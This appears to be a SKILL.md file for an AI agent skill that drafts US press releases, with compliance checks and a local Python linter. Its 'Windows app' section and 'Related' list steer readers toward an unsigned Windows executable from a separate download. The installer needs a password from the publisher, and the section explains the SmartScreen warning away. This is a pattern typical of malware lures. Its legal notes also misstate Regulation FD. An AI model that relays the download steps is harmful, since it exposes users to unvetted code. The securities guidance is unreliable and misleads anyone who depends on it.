Press Release Writer

Drafts a US business announcement with a factual headline, a dateline and risk-flagged language checked against advertising and securities rules. Written for US communications teams at small and mid-size companies and the PR freelancers supporting them.

Use this skill when someone asks for:

• press release template
• business announcement writer
• press release for small business
• us press release example

The job

Announcements get written in marketing voice, then a wire desk asks for the legal entity, the date and the numbers, and the send slips a week.

What you get

1. Collect the announcement facts: what happened, the date, the entity names and the numbers.
2. Write the headline, the dateline paragraph and the quote with real attribution.
3. Move earnings, forecasts and comparisons into the risk list with a reviewer named.
4. Run the compliance checks on guarantee language, superlatives and forward-looking statements.

Output contract:

• release - headline, dateline, body, boilerplate and the media contact block
• risk_flags - every claim that needs a lawyer or a source before distribution
• fact_sheet - the confirmed facts, the source of each and the date it was confirmed
• distribution - the outlets, the format each one takes and the embargo time in ET

US specifics that matter

• The FTC Act's deception standard applies to press releases that reach consumers, so an objective claim needs substantiation before distribution.
• The Securities Exchange Act safe harbor for forward-looking statements requires a written cautionary statement and identification of the factors that could change the results.
• Regulation FD requires a company holding material nonpublic information to disclose it to the market, and a press release alone does not satisfy the rule unless it is furnished under an 8-K.
• AP style puts the city and state in the dateline before the first sentence of a US release.

Guardrails (hard rules)

• Never fabricate a quote, a spokesperson or a customer name.
• Never distribute or email the release; the user sends it through their own wire or list.
• Never include earnings figures, forecasts or acquisition terms without a named reviewer signing off.

Quickstart

1. Fill in the brief

templates/release-facts.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/lint_release.py --input release-facts.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/press-release-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Standard US release structure

• Headline in plain language, about 65 characters or fewer.
• Dateline: city, state, then the date, then the news in one paragraph.
• Body: two or three short paragraphs, with the quote in the first or second one.
• Boilerplate paragraph about the company, then the media contact details.

Language that gets a release held

• Words like best, number one and guaranteed are claims that need proof.
• Forecasts and projections have to be paired with the forward-looking statement language.
• A percentage needs a base: percent of what, measured how, over what period.

Who has to look before it goes out

• Legal reviews claims, comparative statements and anything about results.
• Finance signs off on figures pulled from reporting packages.
• Public companies check their securities disclosure obligations with counsel.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/press-release-rules.md - US press release structure and risk language
• templates/release-facts.yaml - the brief to fill in
• scripts/lint_release.py - the working script

Verify the bundle

python3 scripts/lint_release.py --input release-facts.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.